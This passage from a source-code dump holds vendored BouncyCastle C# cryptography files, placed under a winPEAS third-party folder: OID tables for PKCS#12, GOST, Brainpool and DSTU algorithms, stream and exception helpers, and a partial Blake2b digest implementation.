PbeWithShaAnd2KeyTripleDesCbc = new DerObjectIdentifier(Pkcs12PbeIds + ".4"); public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC2Cbc = new DerObjectIdentifier(Pkcs12PbeIds + ".5"); public static readonly DerObjectIdentifier PbewithShaAnd40BitRC2Cbc = new DerObjectIdentifier(Pkcs12PbeIds + ".6"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/rosstandart/RosstandartObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.rosstandart { public abstract class RosstandartObjectIdentifiers { public static readonly DerObjectIdentifier rosstandart = new DerObjectIdentifier("1.2.643.7"); public static readonly DerObjectIdentifier id_tc26 = rosstandart.Branch("1"); public static readonly DerObjectIdentifier id_tc26_gost_3411_12_256 = id_tc26.Branch("1.2.2"); public static readonly DerObjectIdentifier id_tc26_gost_3411_12_512 = id_tc26.Branch("1.2.3"); public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_256 = id_tc26.Branch("1.4.1"); public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_512 = id_tc26.Branch("1.4.2"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256 = id_tc26.Branch("1.1.1"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512 = id_tc26.Branch("1.1.2"); public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_256 = id_tc26.Branch("1.3.2"); public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_512 = id_tc26.Branch("1.3.3"); public static readonly DerObjectIdentifier id_tc26_agreement = id_tc26.Branch("1.6"); public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_256 = id_tc26_agreement.Branch("1"); public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_512 = id_tc26_agreement.Branch("2"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSet = id_tc26.Branch("2.1.1"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSetA = id_tc26_gost_3410_12_256_paramSet.Branch("1"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSet = id_tc26.Branch("2.1.2"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetA = id_tc26_gost_3410_12_512_paramSet.Branch("1"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetB = id_tc26_gost_3410_12_512_paramSet.Branch("2"); public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetC = id_tc26_gost_3410_12_512_paramSet.Branch("3"); public static readonly DerObjectIdentifier id_tc26_gost_28147_param_Z = id_tc26.Branch("2.5.1.1"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/teletrust/TeleTrusTObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.teletrust { public sealed class TeleTrusTObjectIdentifiers { private TeleTrusTObjectIdentifiers() { } public static readonly DerObjectIdentifier TeleTrusTAlgorithm = new DerObjectIdentifier("1.3.36.3"); public static readonly DerObjectIdentifier RipeMD160 = new DerObjectIdentifier(TeleTrusTAlgorithm + ".2.1"); public static readonly DerObjectIdentifier RipeMD128 = new DerObjectIdentifier(TeleTrusTAlgorithm + ".2.2"); public static readonly DerObjectIdentifier RipeMD256 = new DerObjectIdentifier(TeleTrusTAlgorithm + ".2.3"); public static readonly DerObjectIdentifier TeleTrusTRsaSignatureAlgorithm = new DerObjectIdentifier(TeleTrusTAlgorithm + ".3.1"); public static readonly DerObjectIdentifier RsaSignatureWithRipeMD160 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + ".2"); public static readonly DerObjectIdentifier RsaSignatureWithRipeMD128 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + ".3"); public static readonly DerObjectIdentifier RsaSignatureWithRipeMD256 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + ".4"); public static readonly DerObjectIdentifier ECSign = new DerObjectIdentifier(TeleTrusTAlgorithm + ".3.2"); public static readonly DerObjectIdentifier ECSignWithSha1 = new DerObjectIdentifier(ECSign + ".1"); public static readonly DerObjectIdentifier ECSignWithRipeMD160 = new DerObjectIdentifier(ECSign + ".2"); public static readonly DerObjectIdentifier EccBrainpool = new DerObjectIdentifier(TeleTrusTAlgorithm + ".3.2.8"); public static readonly DerObjectIdentifier EllipticCurve = new DerObjectIdentifier(EccBrainpool + ".1"); public static readonly DerObjectIdentifier VersionOne = new DerObjectIdentifier(EllipticCurve + ".1"); public static readonly DerObjectIdentifier BrainpoolP160R1 = new DerObjectIdentifier(VersionOne + ".1"); public static readonly DerObjectIdentifier BrainpoolP160T1 = new DerObjectIdentifier(VersionOne + ".2"); public static readonly DerObjectIdentifier BrainpoolP192R1 = new DerObjectIdentifier(VersionOne + ".3"); public static readonly DerObjectIdentifier BrainpoolP192T1 = new DerObjectIdentifier(VersionOne + ".4"); public static readonly DerObjectIdentifier BrainpoolP224R1 = new DerObjectIdentifier(VersionOne + ".5"); public static readonly DerObjectIdentifier BrainpoolP224T1 = new DerObjectIdentifier(VersionOne + ".6"); public static readonly DerObjectIdentifier BrainpoolP256R1 = new DerObjectIdentifier(VersionOne + ".7"); public static readonly DerObjectIdentifier BrainpoolP256T1 = new DerObjectIdentifier(VersionOne + ".8"); public static readonly DerObjectIdentifier BrainpoolP320R1 = new DerObjectIdentifier(VersionOne + ".9"); public static readonly DerObjectIdentifier BrainpoolP320T1 = new DerObjectIdentifier(VersionOne + ".10"); public static readonly DerObjectIdentifier BrainpoolP384R1 = new DerObjectIdentifier(VersionOne + ".11"); public static readonly DerObjectIdentifier BrainpoolP384T1 = new DerObjectIdentifier(VersionOne + ".12"); public static readonly DerObjectIdentifier BrainpoolP512R1 = new DerObjectIdentifier(VersionOne + ".13"); public static readonly DerObjectIdentifier BrainpoolP512T1 = new DerObjectIdentifier(VersionOne + ".14"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/ua/UAObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.ua { /** * Ukrainian object identifiers *

    * {iso(1) member-body(2) Ukraine(804) root(2) security(1) cryptography(1) pki(1)} *

    * { ... pki-alg(1) pki-alg-sym(3) Dstu4145WithGost34311(1) PB(1)} *

    * DSTU4145 in polynomial basis has 2 oids, one for little-endian representation and one for big-endian */ public abstract class UAObjectIdentifiers { /** Base OID: 1.2.804.2.1.1.1 */ public static readonly DerObjectIdentifier UaOid = new DerObjectIdentifier("1.2.804.2.1.1.1"); /** DSTU4145 Little Endian presentation. OID: 1.2.804.2.1.1.1.1.3.1.1 */ public static readonly DerObjectIdentifier dstu4145le = UaOid.Branch("1.3.1.1"); /** DSTU4145 Big Endian presentation. OID: 1.2.804.2.1.1.1.1.3.1.1.1 */ public static readonly DerObjectIdentifier dstu4145be = UaOid.Branch("1.3.1.1.1.1"); /** DSTU7564 256-bit digest presentation. */ public static readonly DerObjectIdentifier dstu7564digest_256 = UaOid.Branch("1.2.2.1"); /** DSTU7564 384-bit digest presentation. */ public static readonly DerObjectIdentifier dstu7564digest_384 = UaOid.Branch("1.2.2.2"); /** DSTU7564 512-bit digest presentation. */ public static readonly DerObjectIdentifier dstu7564digest_512 = UaOid.Branch("1.2.2.3"); /** DSTU7564 256-bit mac presentation. */ public static readonly DerObjectIdentifier dstu7564mac_256 = UaOid.Branch("1.2.2.4"); /** DSTU7564 384-bit mac presentation. */ public static readonly DerObjectIdentifier dstu7564mac_384 = UaOid.Branch("1.2.2.5"); /** DSTU7564 512-bit mac presentation. */ public static readonly DerObjectIdentifier dstu7564mac_512 = UaOid.Branch("1.2.2.6"); /** DSTU7624 in ECB mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ecb_128 = UaOid.Branch("1.1.3.1.1"); /** DSTU7624 in ECB mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ecb_256 = UaOid.Branch("1.1.3.1.2"); /** DSTU7624 in ECB mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ecb_512 = UaOid.Branch("1.1.3.1.3"); /** DSTU7624 in CTR mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ctr_128 = UaOid.Branch("1.1.3.2.1"); /** DSTU7624 in CTR mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ctr_256 = UaOid.Branch("1.1.3.2.2"); /** DSTU7624 in CTR mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ctr_512 = UaOid.Branch("1.1.3.2.3"); /** DSTU7624 in CFB mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cfb_128 = UaOid.Branch("1.1.3.3.1"); /** DSTU7624 in CFB mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cfb_256 = UaOid.Branch("1.1.3.3.2"); /** DSTU7624 in CFB mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cfb_512 = UaOid.Branch("1.1.3.3.3"); /** DSTU7624 in MAC mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cmac_128 = UaOid.Branch("1.1.3.4.1"); /** DSTU7624 in MAC mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cmac_256 = UaOid.Branch("1.1.3.4.2"); /** DSTU7624 in MAC mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cmac_512 = UaOid.Branch("1.1.3.4.3"); /** DSTU7624 in CBC mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cbc_128 = UaOid.Branch("1.1.3.5.1"); /** DSTU7624 in CBC mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cbc_256 = UaOid.Branch("1.1.3.5.2"); /** DSTU7624 in CBC mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624cbc_512 = UaOid.Branch("1.1.3.5.3"); /** DSTU7624 in OFB mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ofb_128 = UaOid.Branch("1.1.3.6.1"); /** DSTU7624 in OFB mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ofb_256 = UaOid.Branch("1.1.3.6.2"); /** DSTU7624 in OFB mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ofb_512 = UaOid.Branch("1.1.3.6.3"); /** DSTU7624 in GMAC (GCM witout encryption) mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624gmac_128 = UaOid.Branch("1.1.3.7.1"); /** DSTU7624 in GMAC (GCM witout encryption) mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624gmac_256 = UaOid.Branch("1.1.3.7.2"); /** DSTU7624 in GMAC (GCM witout encryption) mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624gmac_512 = UaOid.Branch("1.1.3.7.3"); /** DSTU7624 in CCM mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ccm_128 = UaOid.Branch("1.1.3.8.1"); /** DSTU7624 in CCM mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ccm_256 = UaOid.Branch("1.1.3.8.2"); /** DSTU7624 in CCM mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624ccm_512 = UaOid.Branch("1.1.3.8.3"); /** DSTU7624 in XTS mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624xts_128 = UaOid.Branch("1.1.3.9.1"); /** DSTU7624 in XTS mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624xts_256 = UaOid.Branch("1.1.3.9.2"); /** DSTU7624 in XTS mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624xts_512 = UaOid.Branch("1.1.3.9.3"); /** DSTU7624 in key wrap (KW) mode with 128 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624kw_128 = UaOid.Branch("1.1.3.10.1"); /** DSTU7624 in key wrap (KW) mode with 256 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624kw_256 = UaOid.Branch("1.1.3.10.2"); /** DSTU7624 in key wrap (KW) mode with 512 bit block/key presentation */ public static readonly DerObjectIdentifier dstu7624kw_512 = UaOid.Branch("1.1.3.10.3"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/util/FilterStream.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1.util { [Obsolete("Use Org.BouncyCastle.Utilities.IO.FilterStream")] public class FilterStream : Stream { [Obsolete("Use Org.BouncyCastle.Utilities.IO.FilterStream")] public FilterStream(Stream s) { this.s = s; } public override bool CanRead { get { return s.CanRead; } } public override bool CanSeek { get { return s.CanSeek; } } public override bool CanWrite { get { return s.CanWrite; } } public override long Length { get { return s.Length; } } public override long Position { get { return s.Position; } set { s.Position = value; } } #if PORTABLE protected override void Dispose(bool disposing) { if (disposing) { Platform.Dispose(s); } base.Dispose(disposing); } #else public override void Close() { Platform.Dispose(s); base.Close(); } #endif public override void Flush() { s.Flush(); } public override long Seek(long offset, SeekOrigin origin) { return s.Seek(offset, origin); } public override void SetLength(long value) { s.SetLength(value); } public override int Read(byte[] buffer, int offset, int count) { return s.Read(buffer, offset, count); } public override int ReadByte() { return s.ReadByte(); } public override void Write(byte[] buffer, int offset, int count) { s.Write(buffer, offset, count); } public override void WriteByte(byte value) { s.WriteByte(value); } protected readonly Stream s; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/Check.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto { internal class Check { internal static void DataLength(bool condition, string msg) { if (condition) throw new DataLengthException(msg); } internal static void DataLength(byte[] buf, int off, int len, string msg) { if (off > (buf.Length - len)) throw new DataLengthException(msg); } internal static void OutputLength(byte[] buf, int off, int len, string msg) { if (off > (buf.Length - len)) throw new OutputLengthException(msg); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/IBlockCipher.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto { /// Base interface for a symmetric key block cipher. public interface IBlockCipher { ///

    The name of the algorithm this cipher implements. string AlgorithmName { get; } /// Initialise the cipher. /// Initialise for encryption if true, for decryption if false. /// The key or other data required by the cipher. void Init(bool forEncryption, ICipherParameters parameters); /// The block size for this cipher, in bytes. int GetBlockSize(); /// Indicates whether this cipher can handle partial blocks. bool IsPartialBlockOkay { get; } /// Process a block. /// The input buffer. /// The offset into inBuf that the input block begins. /// The output buffer. /// The offset into outBuf to write the output block. /// If input block is wrong size, or outBuf too small. /// The number of bytes processed and produced. int ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff); /// /// Reset the cipher to the same state as it was after the last init (if there was one). /// void Reset(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/IXof.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto { /// /// With FIPS PUB 202 a new kind of message digest was announced which supported extendable output, or variable digest sizes. /// This interface provides the extra method required to support variable output on a digest implementation. /// public interface IXof : IDigest { /// /// Output the results of the final calculation for this digest to outLen number of bytes. /// /// output array to write the output bytes to. /// offset to start writing the bytes at. /// the number of output bytes requested. /// the number of bytes written int DoFinal(byte[] output, int outOff, int outLen); /// /// Start outputting the results of the final calculation for this digest. Unlike DoFinal, this method /// will continue producing output until the Xof is explicitly reset, or signals otherwise. /// /// output array to write the output bytes to. /// offset to start writing the bytes at. /// the number of output bytes requested. /// the number of bytes written int DoOutput(byte[] output, int outOff, int outLen); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/InvalidCipherTextException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto { /** * this exception is thrown whenever we find something we don't expect in a * message. */ #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class InvalidCipherTextException : CryptoException { /** * base constructor. */ public InvalidCipherTextException() { } /** * create a InvalidCipherTextException with the given message. * * @param message the message to be carried with the exception. */ public InvalidCipherTextException( string message) : base(message) { } public InvalidCipherTextException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/OutputLengthException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class OutputLengthException : DataLengthException { public OutputLengthException() { } public OutputLengthException( string message) : base(message) { } public OutputLengthException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Blake2bDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /* The BLAKE2 cryptographic hash function was designed by Jean- Philippe Aumasson, Samuel Neves, Zooko Wilcox-O'Hearn, and Christian Winnerlein. Reference Implementation and Description can be found at: https://blake2.net/ Internet Draft: https://tools.ietf.org/html/draft-saarinen-blake2-02 This implementation does not support the Tree Hashing Mode. For unkeyed hashing, developers adapting BLAKE2 to ASN.1 - based message formats SHOULD use the OID tree at x = 1.3.6.1.4.1.1722.12.2. Algorithm | Target | Collision | Hash | Hash ASN.1 | Identifier | Arch | Security | nn | OID Suffix | ---------------+--------+-----------+------+------------+ id-blake2b160 | 64-bit | 2**80 | 20 | x.1.20 | id-blake2b256 | 64-bit | 2**128 | 32 | x.1.32 | id-blake2b384 | 64-bit | 2**192 | 48 | x.1.48 | id-blake2b512 | 64-bit | 2**256 | 64 | x.1.64 | ---------------+--------+-----------+------+------------+ */ /** * Implementation of the cryptographic hash function Blakbe2b. *

    * Blake2b offers a built-in keying mechanism to be used directly * for authentication ("Prefix-MAC") rather than a HMAC construction. *

    * Blake2b offers a built-in support for a salt for randomized hashing * and a personal string for defining a unique hash function for each application. *

    * BLAKE2b is optimized for 64-bit platforms and produces digests of any size * between 1 and 64 bytes. */ public class Blake2bDigest : IDigest { // Blake2b Initialization Vector: private static readonly ulong[] blake2b_IV = // Produced from the square root of primes 2, 3, 5, 7, 11, 13, 17, 19. // The same as SHA-512 IV. { 0x6a09e667f3bcc908UL, 0xbb67ae8584caa73bUL, 0x3c6ef372fe94f82bUL, 0xa54ff53a5f1d36f1UL, 0x510e527fade682d1UL, 0x9b05688c2b3e6c1fUL, 0x1f83d9abfb41bd6bUL, 0x5be0cd19137e2179UL }; // Message word permutations: private static readonly byte[,] blake2b_sigma = { { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, { 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 }, { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 }, { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 }, { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 }, { 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 }, { 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 }, { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 }, { 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0 }, { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 } }; private const int ROUNDS = 12; // to use for Catenas H' private const int BLOCK_LENGTH_BYTES = 128;// bytes // General parameters: private int digestLength = 64; // 1- 64 bytes private int keyLength = 0; // 0 - 64 bytes for keyed hashing for MAC private byte[] salt = null;// new byte[16]; private byte[] personalization = null;// new byte[16]; // the key private byte[] key = null; // Tree hashing parameters: // Because this class does not implement the Tree Hashing Mode, // these parameters can be treated as constants (see init() function) /* * private int fanout = 1; // 0-255 private int depth = 1; // 1 - 255 * private int leafLength= 0; private long nodeOffset = 0L; private int * nodeDepth = 0; private int innerHashLength = 0; */ // whenever this buffer overflows, it will be processed // in the Compress() function. // For performance issues, long messages will not use this buffer. private byte[] buffer = null;// new byte[BLOCK_LENGTH_BYTES]; // Position of last inserted byte: private int bufferPos = 0;// a value from 0 up to 128 private ulong[] internalState = new ulong[16]; // In the Blake2b paper it is // called: v private ulong[] chainValue = null; // state vector, in the Blake2b paper it // is called: h private ulong t0 = 0UL; // holds last significant bits, counter (counts bytes) private ulong t1 = 0UL; // counter: Length up to 2^128 are supported private ulong f0 = 0UL; // finalization flag, for last block: ~0L // For Tree Hashing Mode, not used here: // private long f1 = 0L; // finalization flag, for last node: ~0L public Blake2bDigest() : this(512) { } public Blake2bDigest(Blake2bDigest digest) { this.bufferPos = digest.bufferPos; this.buffer = Arrays.Clone(digest.buffer); this.keyLength = digest.keyLength; this.key = Arrays.Clone(digest.key); this.digestLength = digest.digestLength; this.chainValue = Arrays.Clone(digest.chainValue); this.personalization = Arrays.Clone(digest.personalization); this.salt = Arrays.Clone(digest.salt); this.t0 = digest.t0; this.t1 = digest.t1; this.f0 = digest.f0; } /** * Basic sized constructor - size in bits. * * @param digestSize size of the digest in bits */ public Blake2bDigest(int digestSize) { if (digestSize < 8 || digestSize > 512 || digestSize % 8 != 0) throw new ArgumentException("BLAKE2b digest bit length must be a multiple of 8 and not greater than 512"); buffer = new byte[BLOCK_LENGTH_BYTES]; keyLength = 0; this.digestLength = digestSize / 8; Init(); } /** * Blake2b for authentication ("Prefix-MAC mode"). * After calling the doFinal() method, the key will * remain to be used for further computations of * this instance. * The key can be overwritten using the clearKey() method. * * @param key A key up to 64 bytes or null */ public Blake2bDigest(byte[] key) { buffer = new byte[BLOCK_LENGTH_BYTES]; if (key != null) { this.key = new byte[key.Length]; Array.Copy(key, 0, this.key, 0, key.Length); if (key.Length > 64) throw new ArgumentException("Keys > 64 are not supported"); keyLength = key.Length; Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } digestLength = 64; Init(); } /** * Blake2b with key, required digest length (in bytes), salt and personalization. * After calling the doFinal() method, the key, the salt and the personal string * will remain and might be used for further computations with this instance. * The key can be overwritten using the clearKey() method, the salt (pepper) * can be overwritten using the clearSalt() method. * * @param key A key up to 64 bytes or null * @param digestLength from 1 up to 64 bytes * @param salt 16 bytes or null * @param personalization 16 bytes or null */ public Blake2bDigest(byte[] key, int digestLength, byte[] salt, byte[] personalization) { if (digestLength < 1 || digestLength > 64) throw new ArgumentException("Invalid digest length (required: 1 - 64)"); this.digestLength = digestLength; this.buffer = new byte[BLOCK_LENGTH_BYTES]; if (salt != null) { if (salt.Length != 16) throw new ArgumentException("salt length must be exactly 16 bytes"); this.salt = new byte[16]; Array.Copy(salt, 0, this.salt, 0, salt.Length); } if (personalization != null) { if (personalization.Length != 16) throw new ArgumentException("personalization length must be exactly 16 bytes"); this.personalization = new byte[16]; Array.Copy(personalization, 0, this.personalization, 0, personalization.Length); } if (key != null) { if (key.Length > 64) throw new ArgumentException("Keys > 64 are not supported"); this.key = new byte[key.Length]; Array.Copy(key, 0, this.key, 0, key.Length); keyLength = key.Length; Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } Init(); } // initialize chainValue private void Init() { if (chainValue == null) { chainValue = new ulong[8]; chainValue[0] = blake2b_IV[0] ^ (ulong)(digestLength | (keyLength << 8) | 0x1010000); // 0x1010000 = ((fanout << 16) | (depth << 24) | (leafLength << // 32)); // with fanout = 1; depth = 0; leafLength = 0; chainValue[1] = blake2b_IV[1];// ^ nodeOffset; with nodeOffset = 0; chainValue[2] = blake2b_IV[2];// ^ ( nodeDepth | (innerHashLength << 8) ); // with nodeDepth = 0; innerHashLength = 0; chainValue[3] = blake2b_IV[3]; chainValue[4] = blake2b_IV[4]; chainValue[5] = blake2b_IV[5]; if (salt != null) { chainValue[4] ^= Pack.LE_To_UInt64(salt, 0); chainValue[5] ^= Pack.LE_To_UInt64(salt, 8); } chainValue[6] = blake2b_IV[6]; chainValue[7] = blake2b_IV[7]; if (personalization != null) { chainValue[6] ^= Pack.LE_To_UInt64(personalization, 0); chainValue[7] ^= Pack.LE_To_UInt64(personalization, 8); } } } private void InitializeInternalState() { // initialize v: Array.Copy(chainValue, 0, internalState, 0, chainValue.Length); Array.Copy(blake2b_IV, 0, internalState, chainValue.Length, 4); internalState[12] = t0 ^ blake2b_IV[4]; internalState[13] = t1 ^ blake2b_IV[5]; internalState[14] = f0 ^ blake2b_IV[6]; internalState[15] = blake2b_IV[7];// ^ f1 with f1 = 0 } /** * update the message digest with a single byte. * * @param b the input byte to be entered. */ public virtual void Update(byte b) { int remainingLength = 0; // left bytes of buffer // process the buffer if full else add to buffer: remainingLength = BLOCK_LENGTH_BYTES - bufferPos; if (remainingLength == 0) { // full buffer t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { // if message > 2^64 t1++; } Compress(buffer, 0); Array.Clear(buffer, 0, buffer.Length);// clear buffer buffer[0] = b; bufferPos = 1; } else { buffer[bufferPos] = b; bufferPos++; return; } } /** * update the message digest with a block of bytes. * * @param message the byte array containing the data. * @param offset the offset into the byte array where the data starts. * @param len the length of the data. */ public virtual void BlockUpdate(byte[] message, int offset, int len) { if (message == null || len == 0) return; int remainingLength = 0; // left bytes of buffer if (bufferPos != 0) { // commenced, incomplete buffer // complete the buffer: remainingLength = BLOCK_LENGTH_BYTES - bufferPos; if (remainingLength < len) { // full buffer + at least 1 byte Array.Copy(message, offset, buffer, bufferPos, remainingLength); t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { // if message > 2^64 t1++; } Compress(buffer, 0); bufferPos = 0; Array.Clear(buffer, 0, buffer.Length);// clear buffer } else { Array.Copy(message, offset, buffer, bufferPos, len); bufferPos += len; return; } } // process blocks except last block (also if last block is full) int messagePos; int blockWiseLastPos = offset + len - BLOCK_LENGTH_BYTES; for (messagePos = offset + remainingLength; messagePos < blockWiseLastPos; messagePos += BLOCK_LENGTH_BYTES) { // block wise 128 bytes // without buffer: t0 += BLOCK_LENGTH_BYTES; if (t0 == 0) { t1++; } Compress(message, messagePos); } // fill the buffer with left bytes, this might be a full block Array.Copy(message, messagePos, buffer, 0, offset + len - messagePos); bufferPos += offset + len - messagePos; } /** * close the digest, producing the final digest value. The doFinal * call leaves the digest reset. * Key, salt and personal string remain. * * @param out the array the digest is to be copied into. * @param outOffset the offset into the out array the digest is to start at. */ public virtual int DoFinal(byte[] output, int outOffset) { f0 = 0xFFFFFFFFFFFFFFFFUL; t0 += (ulong)bufferPos; if (bufferPos > 0 && t0 == 0) { t1++; } Compress(buffer, 0); Array.Clear(buffer, 0, buffer.Length);// Holds eventually the key if input is null Array.Clear(internalState, 0, internalState.Length); for (int i = 0; i < chainValue.Length && (i * 8 < digestLength); i++) { byte[] bytes = Pack.UInt64_To_LE(chainValue[i]); if (i * 8 < digestLength - 8) { Array.Copy(bytes, 0, output, outOffset + i * 8, 8); } else { Array.Copy(bytes, 0, output, outOffset + i * 8, digestLength - (i * 8)); } } Array.Clear(chainValue, 0, chainValue.Length); Reset(); return digestLength; } /** * Reset the digest back to it's initial state. * The key, the salt and the personal string will * remain for further computations. */ public virtual void Reset() { bufferPos = 0; f0 = 0L; t0 = 0L; t1 = 0L; chainValue = null; Array.Clear(buffer, 0, buffer.Length); if (key != null) { Array.Copy(key, 0, buffer, 0, key.Length); bufferPos = BLOCK_LENGTH_BYTES; // zero padding } Init(); } private void Compress(byte[] message, int messagePos) { InitializeInternalState(); ulong[] m = new ulong[16]; for (int j = 0; j < 16; j++) { m[j] = Pack.LE_To_UInt64(message, messagePos + j * 8); } for (int round = 0; round < ROUNDS; round++) { // G apply to columns of internalState:m[blake2b_sigma[round][2 * blockPos]] /+1 G(m[blake2b_sigma[round,0]], m[blake2b_sigma[round,1]], 0, 4, 8, 12); G(m[blake2b_sigma[round,2]], m[blake2b_sigma[round,3]], 1, 5, 9, 13); G(m[blake2b_sigma[round,4]], m[blake2b_sigma[round,5]], 2, 6, 10, 14); G(m[blake2b_sigma[round,6]], m[blake2b_sigma[round,7]], 3, 7, 11, 15); // G apply to diagonals of internalState: G(m[blake2b_sigma[round,8]], m[blake2b_sigma[round,9]], 0, 5, 10, 15); G(m[blake2b_sigma[round,10]], m[blake2b_sigma[round,11]], 1, 6, 11, 12); G(m[blake2b_sigma[round,12]], m[blake2b_sigma[round,13]], 2, 7, 8, 13); G(m[blake2b_sigma[round,14]], m[blake2b_sigma[round,15]], 3, 4, 9, 14); } // update chain values: for (int offset = 0; offset < chainValue.Length; offset++) { chainValue[offset] = chainValue[offset] ^ internalState[offset] ^ internalState[offset + 8]; } } private void G(ulong m1, ulong m2, int posA, int posB, int posC, int posD) { internalState[posA] = internalState[posA] + internalState[posB] + m1; internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 32); internalState[posC] = internalState[posC] + internalState[posD]; internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 24); // replaces 25 of BLAKE internalState[posA] = internalState[posA] + internalState[posB] + m2; internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 16); 